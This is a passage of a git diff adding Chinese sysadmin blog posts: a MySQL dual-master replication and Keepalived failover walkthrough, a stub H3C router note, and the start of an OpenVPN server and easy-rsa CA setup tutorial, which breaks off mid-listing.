Yes + +node1主，node2从配置完成 + +下面是配置 +node2主，node1从的配置信息 + +mysql> grant replication slave on *.* to rep@'172.16.52.%' identified by 'password'; +Query OK, 0 rows affected, 1 warning (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.01 sec) + +mysql> show master status; ++------------------+----------+--------------+------------------+-------------------+ +| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set | ++------------------+----------+--------------+------------------+-------------------+ +| mysql-bin.000001 | 608 | | | | ++------------------+----------+--------------+------------------+-------------------+ +1 row in set (0.01 sec) + + +``` + + + +## 在node1操作 + +```sql +[root@localhost ~]# mysql -u root -p +mysql> change master to master_host='172.16.52.152',master_user='rep',master_password='password',master_log_file='mysql-bin.000001',master_log_pos=608; +mysql> start slave; +mysql> show slave status\G +*************************** 1. row *************************** + Slave_IO_Running: Yes + Slave_SQL_Running: Yes + + + +``` + +## 在node1和node2进行Mysql双主测试。 + +```sql +node1 操作 + +mysql> create database test_db; +Query OK, 1 row affected (0.00 sec) + +mysql> use test_db; +Database changed +mysql> create table tab1(id int); +Query OK, 0 rows affected (0.00 sec) + +node2 操作 + +mysql> show databases; ++--------------------+ +| Database | ++--------------------+ +| information_schema | +| mysql | +| performance_schema | +| sys | +| test_db | ++--------------------+ +5 rows in set (0.00 sec) + +mysql> use test_db; +mysql> show tables; ++-------------------+ +| Tables_in_test_db | ++-------------------+ +| tab1 | ++-------------------+ +1 row in set (0.00 sec) + +mysql> insert into tab1 values(1); +Query OK, 1 row affected (0.00 sec) + +mysql> select * from tab1; ++------+ +| id | ++------+ +| 1 | ++------+ +1 row in set (0.00 sec) + +mysql> + +node1 操作 + +mysql> select * from tab1; ++------+ +| id | ++------+ +| 1 | ++------+ +1 row in set (0.00 sec) +``` + + + +## 在node1上操作 - Keepalived主从配置 + +``` +[root@localhost ~]# vim /etc/keepalived/keepalived.conf +! Configuration File for keepalived + +global_defs { + router_id mysql-master01 +} + +vrrp_instance VI_1 { + state BACKUP + interface ens33 + virtual_router_id 51 + priority 100 + advert_int 1 + nopreempt + authentication { + auth_type PASS + auth_pass 1111 + } + virtual_ipaddress { + 172.16.52.188 + } +} + +virtual_server 172.16.52.188 3306 { + delay_loop 6 + lb_algo rr + lb_kind DR + persistence_timeout 50 + protocol TCP + real_server 172.16.52.151 3306 { + weight 1 + notify_down /etc/keepalived/bin/mysql.sh + TCP_CHECK { + connect_port 3306 + connect_timeout 3 + retry 3 + delay_before_retry 3 + } + } +} + +[root@localhost ~]# mkdir /etc/keepalived/bin/ +[root@localhost ~]# vim /etc/keepalived/bin/mysql.sh +#!/bin/bash +pkill keepalived + +[root@localhost ~]# chmod +x /etc/keepalived/bin/mysql.sh +[root@localhost ~]# service keepalived stop +[root@localhost ~]# service keepalived start +[root@localhost ~]# service keepalived status +``` + + + +## 在node2上操作 - Keepalived主从配置 + +```shell +[root@localhost ~]# vim /etc/keepalived/keepalived.conf +! Configuration File for keepalived + +global_defs { + router_id mysql-master02 +} + +vrrp_instance VI_1 { + state BACKUP + interface ens33 + virtual_router_id 51 + priority 50 + nopreempt + advert_int 1 + authentication { + auth_type PASS + auth_pass 1111 + } + virtual_ipaddress { + 172.16.52.188 + } +} + +virtual_server 172.16.52.188 3306 { + delay_loop 6 + lb_algo rr + lb_kind DR + persistence_timeout 50 + protocol TCP + real_server 172.16.52.152 3306 { + notify_down /etc/keepalived/bin/mysql.sh + weight 1 + TCP_CHECK { + connect_port 3306 + connect_timeout 3 + retry 3 + delay_before_retry 3 + } + } +} + +[root@localhost ~]# mkdir /etc/keepalived/bin/ +[root@localhost ~]# vim /etc/keepalived/bin/mysql.sh +#!/bin/bash +pkill keepalived + +[root@localhost ~]# chmod +x /etc/keepalived/bin/mysql.sh +[root@localhost ~]# service keepalived stop +[root@localhost ~]# service keepalived start +[root@localhost ~]# service keepalived status +``` + + + +## 在node1 和 node2 上测试Keepalived主从配置 + +```shell +node1 操作 +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:d7:de:df brd ff:ff:ff:ff:ff:ff + inet 172.16.52.151/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1252sec preferred_lft 1252sec + inet 172.16.52.188/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::32da:49b5:524c:fc84/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +node2 操作 + +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:6c:98:e8 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.152/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1463sec preferred_lft 1463sec + inet6 fe80::99d9:7b51:5574:23fe/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +node1 操作 + +[root@localhost ~]# ps -ef |grep keep +baoguo 2299 1887 0 02:38 ? 00:00:00 /usr/libexec/gsd-housekeeping +root 103392 1 0 08:22 ? 00:00:00 /usr/local/keepalived/sbin/keepalived -D +root 103394 103392 0 08:22 ? 00:00:00 /usr/local/keepalived/sbin/keepalived -D +root 103395 103392 0 08:22 ? 00:00:00 /usr/local/keepalived/sbin/keepalived -D +root 103522 92236 0 08:31 pts/0 00:00:00 grep --color=auto keep +[root@localhost ~]# service mysql stop +Redirecting to /bin/systemctl stop mysql.service +Failed to stop mysql.service: Unit mysql.service not loaded. +[root@localhost ~]# service mysqld stop +Redirecting to /bin/systemctl stop mysqld.service +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:d7:de:df brd ff:ff:ff:ff:ff:ff + inet 172.16.52.151/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1050sec preferred_lft 1050sec + inet6 fe80::32da:49b5:524c:fc84/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +node2 操作 + +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:6c:98:e8 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.152/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1275sec preferred_lft 1275sec + inet 172.16.52.188/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::99d9:7b51:5574:23fe/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +node1 操作 + +[root@localhost ~]# service mysqld start +Redirecting to /bin/systemctl start mysqld.service +[root@localhost ~]# ps -ef |grep keep +``` + + + +## Node1 - keepalived 双主配置 + +```shell +[root@localhost ~]# vim /etc/keepalived/keepalived.conf +! Configuration File for keepalived + +global_defs { + router_id mysql-master01 +} + +vrrp_instance VI_1 { + state MASTER + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 51 + priority 100 + advert_int 1 + nopreempt + authentication { + auth_type PASS + auth_pass 1111 + } + virtual_ipaddress { + 172.16.52.188 + } +} + +vrrp_instance VI_2 { + state BACKUP + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 52 + priority 90 + advert_int 1 + nopreempt + authentication { + auth_type PASS + auth_pass 2222 + } + virtual_ipaddress { + 172.16.52.200 + } +} + + +virtual_server 172.16.52.188 3306 { + delay_loop 6 + lb_algo rr + lb_kind DR + persistence_timeout 50 + protocol TCP + real_server 172.16.52.151 3306 { + weight 1 + notify_down /etc/keepalived/bin/mysql.sh + TCP_CHECK { + connect_port 3306 + connect_timeout 3 + retry 3 + delay_before_retry 3 + } + } +} + +virtual_server 172.16.52.200 3306 { + delay_loop 6 + lb_algo rr + lb_kind DR + persistence_timeout 50 + protocol TCP + real_server 172.16.52.151 3306 { + weight 1 + notify_down /etc/keepalived/bin/mysql.sh + TCP_CHECK { + connect_port 3306 + connect_timeout 3 + retry 3 + delay_before_retry 3 + } + } +} + + + + +[root@localhost ~]# service keepalived restart +[root@localhost ~]# service keepalived status +``` + + + +## Node2 - keepalived 双主配置 + +```shell +[root@localhost ~]# vim /etc/keepalived/keepalived.conf +! Configuration File for keepalived + +global_defs { + router_id mysql-master01 +} + +vrrp_instance VI_1 { + state BACKUP + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 51 + priority 90 + advert_int 1 + nopreempt + authentication { + auth_type PASS + auth_pass 1111 + } + virtual_ipaddress { + 172.16.52.188 + } +} + +vrrp_instance VI_2 { + state MASTER + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 52 + priority 100 + advert_int 1 + nopreempt + authentication { + auth_type PASS + auth_pass 2222 + } + virtual_ipaddress { + 172.16.52.200 + } +} + + +virtual_server 172.16.52.188 3306 { + delay_loop 6 + lb_algo rr + lb_kind DR + persistence_timeout 50 + protocol TCP + real_server 172.16.52.152 3306 { + weight 1 + notify_down /etc/keepalived/bin/mysql.sh + TCP_CHECK { + connect_port 3306 + connect_timeout 3 + retry 3 + delay_before_retry 3 + } + } +} + +virtual_server 172.16.52.200 3306 { + delay_loop 6 + lb_algo rr + lb_kind DR + persistence_timeout 50 + protocol TCP + real_server 172.16.52.152 3306 { + weight 1 + notify_down /etc/keepalived/bin/mysql.sh + TCP_CHECK { + connect_port 3306 + connect_timeout 3 + retry 3 + delay_before_retry 3 + } + } +} + +[root@localhost ~]# service keepalived restart +[root@localhost ~]# service keepalived status +``` + + + +## keepalived 双主检测 + +``` +node1检测 +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:d7:de:df brd ff:ff:ff:ff:ff:ff + inet 172.16.52.151/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1408sec preferred_lft 1408sec + inet 172.16.52.188/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::32da:49b5:524c:fc84/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +node2检测 +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:6c:98:e8 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.152/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1690sec preferred_lft 1690sec + inet 172.16.52.200/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::99d9:7b51:5574:23fe/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +关闭node1 +[root@localhost ~]# service mysqld stop +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:d7:de:df brd ff:ff:ff:ff:ff:ff + inet 172.16.52.151/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1281sec preferred_lft 1281sec + inet6 fe80::32da:49b5:524c:fc84/64 scope link noprefixroute + valid_lft forever preferred_lft forever + + +查看node2 +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:6c:98:e8 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.152/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1550sec preferred_lft 1550sec + inet 172.16.52.200/32 scope global ens33 + valid_lft forever preferred_lft forever + inet 172.16.52.188/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::99d9:7b51:5574:23fe/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +重启node1 +[root@localhost ~]# service mysqld start +[root@localhost ~]# service keepalived start +[root@localhost ~]# ip addr +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:d7:de:df brd ff:ff:ff:ff:ff:ff + inet 172.16.52.151/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1170sec preferred_lft 1170sec + inet 172.16.52.188/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::32da:49b5:524c:fc84/64 scope link noprefixroute + valid_lft forever preferred_lft forever + +node2查看状态 +[root@localhost ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:6c:98:e8 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.152/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1432sec preferred_lft 1432sec + inet 172.16.52.200/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::99d9:7b51:5574:23fe/64 scope link noprefixroute + valid_lft forever preferred_lft forever + + +``` + + + +## 参考 + +[MySQL高可用之KeepAlived+双主](https://blog.csdn.net/flynetcn/article/details/137152376) + +[【MySQL入门指南】Centos7下MySQL5.7安装教程（全程图解）](https://blog.csdn.net/whc18858/article/details/130003385) + +[mysql5.7系列修改root默认密码](https://www.cnblogs.com/activiti/p/7810166.html) diff --git a/_posts/2024-08-14-653-h3c.md b/_posts/2024-08-14-653-h3c.md new file mode 100644 index 0000000..0164ce5 --- /dev/null +++ b/_posts/2024-08-14-653-h3c.md @@ -0,0 +1,26 @@ +--- +layout: post +title: H3C相关内容 +pid: 653 +tags: [router, 路由器] +--- + + + +``` +baoguo@MacBook-Pro-2 ~ % telnet IP地址 +查看IP地址信息 +display ip int brief + +创建用户 + + + + + + + + + +``` + diff --git a/_posts/2024-08-19-654-openvpn.md b/_posts/2024-08-19-654-openvpn.md new file mode 100644 index 0000000..b87ad99 --- /dev/null +++ b/_posts/2024-08-19-654-openvpn.md @@ -0,0 +1,804 @@ +--- +layout: post +title: openvpn +pid: 654 +tags: [linux, vpn, openvpn] +--- + + + +``` + +# 一、环境概述： +# 专有网络：172.16.0.0/12 +# 交换机(张家口):172.19.0.0/24 +# 1.openvpn-server：公网(106.14.141.66)私网(172.19.95.187) +# 2.web01.magedu.org:私网(172.19.95.188) +# 3.web02.magedu.org:私网(172.19.95.189) + +更新主机名称 +ssh root@106.14.141.66 +hostnamectl +sudo hostnamectl set-hostname openvpn-server +hostnamectl + +ssh 172.19.95.188 +hostnamectl +sudo hostnamectl set-hostname web01.magedu.org +hostnamectl + +ssh 172.19.95.189 +hostnamectl +sudo hostnamectl set-hostname web02.magedu.org +hostnamectl + +# 二、连接openvpn服务器 + +[root@openvpn-server ~]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: eth0: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:16:3e:3d:05:a6 brd ff:ff:ff:ff:ff:ff + inet 172.19.95.187/20 brd 172.19.95.255 scope global dynamic eth0 + valid_lft 315359301sec preferred_lft 315359301sec + inet6 fe80::216:3eff:fe3d:5a6/64 scope link + valid_lft forever preferred_lft forever +[root@openvpn-server ~]# curl ipinfo.io +{ + "ip": "106.14.141.66", + "city": "Shanghai", + "region": "Shanghai", + "country": "CN", + "loc": "31.2222,121.4581", + "org": "AS37963 Hangzhou Alibaba Advertising Co.,Ltd.", + "postal": "200000", + "timezone": "Asia/Shanghai", + "readme": "https://ipinfo.io/missingauth" +} + +# 直接通过ssh openvpn-server这台机器进行跳转到其他两台web服务器 +[root@openvpn-server ~]# ssh 172.19.95.188 +[root@web01 ~]# yum -y install httpd;hostname > /var/www/html/index.html;systemctl enable --now httpd +[root@web01 ~]# curl 172.19.95.188 +web01.magedu.org + + +[root@openvpn-server ~]# ssh 172.19.95.189 +[root@web02 ~]# yum -y install httpd;hostname > /var/www/html/index.html;systemctl enable --now httpd +[root@web02 ~]# curl 172.19.95.189 +web02.magedu.org +``` + +#### 2.2 配置基于key验证 + +``` +# 1.生成SSH密钥对： +[root@openvpn-server ~]# ssh-keygen +Generating public/private rsa key pair. +Enter file in which to save the key (/root/.ssh/id_rsa): +Enter passphrase (empty for no passphrase): +Enter same passphrase again: +Your identification has been saved in /root/.ssh/id_rsa. +Your public key has been saved in /root/.ssh/id_rsa.pub. +The key fingerprint is: +SHA256:2NquKkp19blO6Nz5jS3xiaJidXaLe4ncFn1NQ3ljpPQ root@openvpn-server +The key's randomart image is: ++---[RSA 2048]----+ +| ....| +| . o=.| +| . .oEo| +| .o. . ..| +| . .. So . .o| +| . . +.o.+ . ..| +| . o.=o= B o | +|. . oo.+=.O+o | +|.. .o.o=o=*o.o | ++----[SHA256]-----+ + +# 2.拷贝.ssh文件夹到其他两台机器上 +[root@openvpn-server ~]# rsync -av .ssh 172.19.95.188:/root/ +root@172.19.95.188's password: +sending incremental file list +.ssh/ +.ssh/id_rsa +.ssh/id_rsa.pub +.ssh/known_hosts + +sent 2,723 bytes received 77 bytes 509.09 bytes/sec +total size is 2,430 speedup is 0.87 +[root@openvpn-server ~]# rsync -av .ssh 172.19.95.189:/root/ +root@172.19.95.189's password: +sending incremental file list +.ssh/ +.ssh/authorized_keys +.ssh/id_rsa +.ssh/id_rsa.pub +.ssh/known_hosts + +sent 2,762 bytes received 96 bytes 635.11 bytes/sec +total size is 2,430 speedup is 0.85 +``` + +#### 2.3 安装openvpn和easy-rsa + +``` +# 查看openvpn版本 +[root@openvpn-server ~]# yum list openvpn + +# 安装openvpn服务器端以及证书管理工具 +[root@openvpn-server ~]# yum -y install openvpn easy-rsa +``` + +### 3.证书管理 + +#### 3.1 准备配置文件环境 + +``` +# 查看安装好的openvpn的版本 +[root@openvpn-server ~]# rpm -qi openvpn +Name : openvpn +Version : 2.4.12 +Release : 1.el7 +Architecture: x86_64 +Install Date: Mon Aug 19 11:33:42 2024 +Group : Unspecified +Size : 1286851 +License : GPLv2 +Signature : RSA/SHA256, Fri Mar 18 05:21:26 2022, Key ID 6a2faea2352c64e5 +Source RPM : openvpn-2.4.12-1.el7.src.rpm +Build Date : Fri Mar 18 02:59:28 2022 +Build Host : buildvm-x86-10.iad2.fedoraproject.org +Relocations : (not relocatable) +Packager : Fedora Project +Vendor : Fedora Project +URL : https://community.openvpn.net/ +Bug URL : https://bugz.fedoraproject.org/openvpn +Summary : A full-featured SSL VPN solution +Description : +OpenVPN is a robust and highly flexible tunneling application that uses all +of the encryption, authentication, and certification features of the +OpenSSL library to securely tunnel IP networks over a single UDP or TCP +port. It can use the Marcus Franz Xaver Johannes Oberhumers LZO library +for compression. + +# 查看安装openvpn的文件列表 +[root@openvpn-server ~]# rpm -ql openvpn +/etc/openvpn +/etc/openvpn/client +/etc/openvpn/server +/run/openvpn-client +/run/openvpn-server +/usr/lib/systemd/system/openvpn-client@.service +/usr/lib/systemd/system/openvpn-server@.service +/usr/lib/systemd/system/openvpn@.service +/usr/lib/tmpfiles.d/openvpn.conf +/usr/lib64/openvpn +/usr/lib64/openvpn/plugins +/usr/lib64/openvpn/plugins/openvpn-plugin-auth-pam.so +/usr/lib64/openvpn/plugins/openvpn-plugin-down-root.so +/usr/sbin/openvpn +/usr/share/doc/openvpn-2.4.12 +/usr/share/doc/openvpn-2.4.12/AUTHORS +/usr/share/doc/openvpn-2.4.12/COPYING +/usr/share/doc/openvpn-2.4.12/COPYRIGHT.GPL +/usr/share/doc/openvpn-2.4.12/ChangeLog +/usr/share/doc/openvpn-2.4.12/Changes.rst +/usr/share/doc/openvpn-2.4.12/README +/usr/share/doc/openvpn-2.4.12/README.auth-pam +/usr/share/doc/openvpn-2.4.12/README.down-root +/usr/share/doc/openvpn-2.4.12/README.systemd +/usr/share/doc/openvpn-2.4.12/contrib +/usr/share/doc/openvpn-2.4.12/contrib/OCSP_check +/usr/share/doc/openvpn-2.4.12/contrib/OCSP_check/OCSP_check.sh +/usr/share/doc/openvpn-2.4.12/contrib/README +/usr/share/doc/openvpn-2.4.12/contrib/openvpn-fwmarkroute-1.00 +/usr/share/doc/openvpn-2.4.12/contrib/openvpn-fwmarkroute-1.00/README +/usr/share/doc/openvpn-2.4.12/contrib/openvpn-fwmarkroute-1.00/fwmarkroute.down +/usr/share/doc/openvpn-2.4.12/contrib/openvpn-fwmarkroute-1.00/fwmarkroute.up +/usr/share/doc/openvpn-2.4.12/contrib/pull-resolv-conf +/usr/share/doc/openvpn-2.4.12/contrib/pull-resolv-conf/client.down +/usr/share/doc/openvpn-2.4.12/contrib/pull-resolv-conf/client.up +/usr/share/doc/openvpn-2.4.12/management-notes.txt +/usr/share/doc/openvpn-2.4.12/sample +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/README +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/client.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/firewall.sh +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/home.up +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/loopback-client +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/loopback-server +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/office.up +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/openvpn-shutdown.sh +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/openvpn-startup.sh +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/roadwarrior-client.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/roadwarrior-server.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/server.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/static-home.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/static-office.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/tls-home.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/tls-office.conf +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/xinetd-client-config +/usr/share/doc/openvpn-2.4.12/sample/sample-config-files/xinetd-server-config +/usr/share/doc/openvpn-2.4.12/sample/sample-scripts +/usr/share/doc/openvpn-2.4.12/sample/sample-scripts/auth-pam.pl +/usr/share/doc/openvpn-2.4.12/sample/sample-scripts/bridge-start +/usr/share/doc/openvpn-2.4.12/sample/sample-scripts/bridge-stop +/usr/share/doc/openvpn-2.4.12/sample/sample-scripts/ucn.pl +/usr/share/doc/openvpn-2.4.12/sample/sample-scripts/verify-cn +/usr/share/doc/openvpn-2.4.12/sample/sample-windows +/usr/share/doc/openvpn-2.4.12/sample/sample-windows/sample.ovpn +/usr/share/man/man8/openvpn.8.gz +/var/lib/openvpn +[root@openvpn-server ~]# + +# 拷贝服务配置模板到/etc/openvpn，生成服务器配置文件 +[root@openvpn-server ~]# cp /usr/share/doc/openvpn-2.4.12/sample/sample-config-files/server.conf /etc/openvpn/ +[root@openvpn-server ~]# ll /etc/openvpn +total 20 +drwxr-x--- 2 root openvpn 4096 Mar 18 2022 client +drwxr-x--- 2 root openvpn 4096 Mar 18 2022 server +-rw-r--r-- 1 root root 10784 Aug 19 11:36 server.conf + + +# 查看easy-rsa的文件列表 +[root@openvpn-server ~]# rpm -ql easy-rsa +/usr/share/doc/easy-rsa-3.0.8 +/usr/share/doc/easy-rsa-3.0.8/COPYING.md +/usr/share/doc/easy-rsa-3.0.8/ChangeLog +/usr/share/doc/easy-rsa-3.0.8/README.md +/usr/share/doc/easy-rsa-3.0.8/README.quickstart.md +/usr/share/doc/easy-rsa-3.0.8/vars.example +/usr/share/easy-rsa +/usr/share/easy-rsa/3 +/usr/share/easy-rsa/3.0 +/usr/share/easy-rsa/3.0.8 +/usr/share/easy-rsa/3.0.8/easyrsa +/usr/share/easy-rsa/3.0.8/openssl-easyrsa.cnf +/usr/share/easy-rsa/3.0.8/x509-types +/usr/share/easy-rsa/3.0.8/x509-types/COMMON +/usr/share/easy-rsa/3.0.8/x509-types/ca +/usr/share/easy-rsa/3.0.8/x509-types/client +/usr/share/easy-rsa/3.0.8/x509-types/code-signing +/usr/share/easy-rsa/3.0.8/x509-types/email +/usr/share/easy-rsa/3.0.8/x509-types/kdc +/usr/share/easy-rsa/3.0.8/x509-types/server +/usr/share/easy-rsa/3.0.8/x509-types/serverClient +/usr/share/licenses/easy-rsa-3.0.8 +/usr/share/licenses/easy-rsa-3.0.8/gpl-2.0.txt + + + +# 准备证书签发相关文件 +[root@openvpn-server ~]# cp -r /usr/share/easy-rsa/ /etc/openvpn/easy-rsa-server +[root@openvpn-server ~]# ll /etc/openvpn +total 24 +drwxr-x--- 2 root openvpn 4096 Mar 18 2022 client +drwxr-xr-x 3 root root 4096 Aug 19 11:39 easy-rsa-server +drwxr-x--- 2 root openvpn 4096 Mar 18 2022 server +-rw-r--r-- 1 root root 10784 Aug 19 11:36 server.conf + + +# 准备签发证书相关变量的配置文件 +[root@openvpn-server ~]# cp /usr/share/doc/easy-rsa-3.0.8/vars.example /etc/openvpn/easy-rsa-server/3/vars + +# 建议修改给CA和OpenVPN服务器颁发的证书的有效期,可适当加长 +[root@openvpn-server ~]# vim /etc/openvpn/easy-rsa-server/3/vars +#CA的证书有效期默为为10年,可以适当延长,比如:36500天 +#set_var EASYRSA_CA_EXPIRE 3650 +set_var EASYRSA_CA_EXPIRE 36500 + +#服务器证书默为为825天,可适当加长,比如:3650天 +#set_var EASYRSA_CERT_EXPIRE 825 +#将上面行修改为下面 +set_var EASYRSA_CERT_EXPIRE 3650 +``` + +#### 3.2 准备证书相关文件 + +##### 3.2.1 创建CA机构 + +``` +# 进入easyrsa脚本所在的文件夹列表 +[root@openvpn-server ~]# cd /etc/openvpn/easy-rsa-server/3/ +[root@openvpn-server 3]# ls +easyrsa openssl-easyrsa.cnf vars x509-types +[root@openvpn-server 3]# + +# 初始化 Public Key Infrastructure (PKI)生成PKI相关目录和文件 +[root@openvpn-server 3]# ./easyrsa init-pki + +Note: using Easy-RSA configuration from: /etc/openvpn/easy-rsa-server/3.0.8/vars + +init-pki complete; you may now create a CA or requests. +Your newly created PKI dir is: /etc/openvpn/easy-rsa-server/3/pki +[root@openvpn-server 3]#tree pki +pki +├── openssl-easyrsa.cnf +├── private +├── reqs +└── safessl-easyrsa.cnf +2 directories, 2 files + +# 创建CA机构 +[root@openvpn-server 3]# ./easyrsa build-ca nopass + +Note: using Easy-RSA configuration from: /etc/openvpn/easy-rsa-server/3.0.8/vars +Using SSL: openssl OpenSSL 1.0.2k-fips 26 Jan 2017 +Generating RSA private key, 2048 bit long modulus +........................................................................+++ +..............................................+++ +e is 65537 (0x10001) +You are about to be asked to enter information that will be incorporated +into your certificate request. +What you are about to enter is what is called a Distinguished Name or a DN. +There are quite a few fields but you can leave some blank +For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Common Name (eg: your user, host, or server name) [Easy-RSA CA]: + +CA creation complete and you may now import and sign cert requests. +Your new CA certificate file for publishing is at: +/etc/openvpn/easy-rsa-server/3/pki/ca.crt + + +[root@openvpn-server 3]# + +# 查看文件列表 +[root@openvpn-server 3]# tree pki -C +pki +├── ca.crt +├── certs_by_serial +├── index.txt +├── index.txt.attr +├── issued +├── openssl-easyrsa.cnf +├── private +│ └── ca.key +├── renewed +│ ├── certs_by_serial +│ ├── private_by_serial +│ 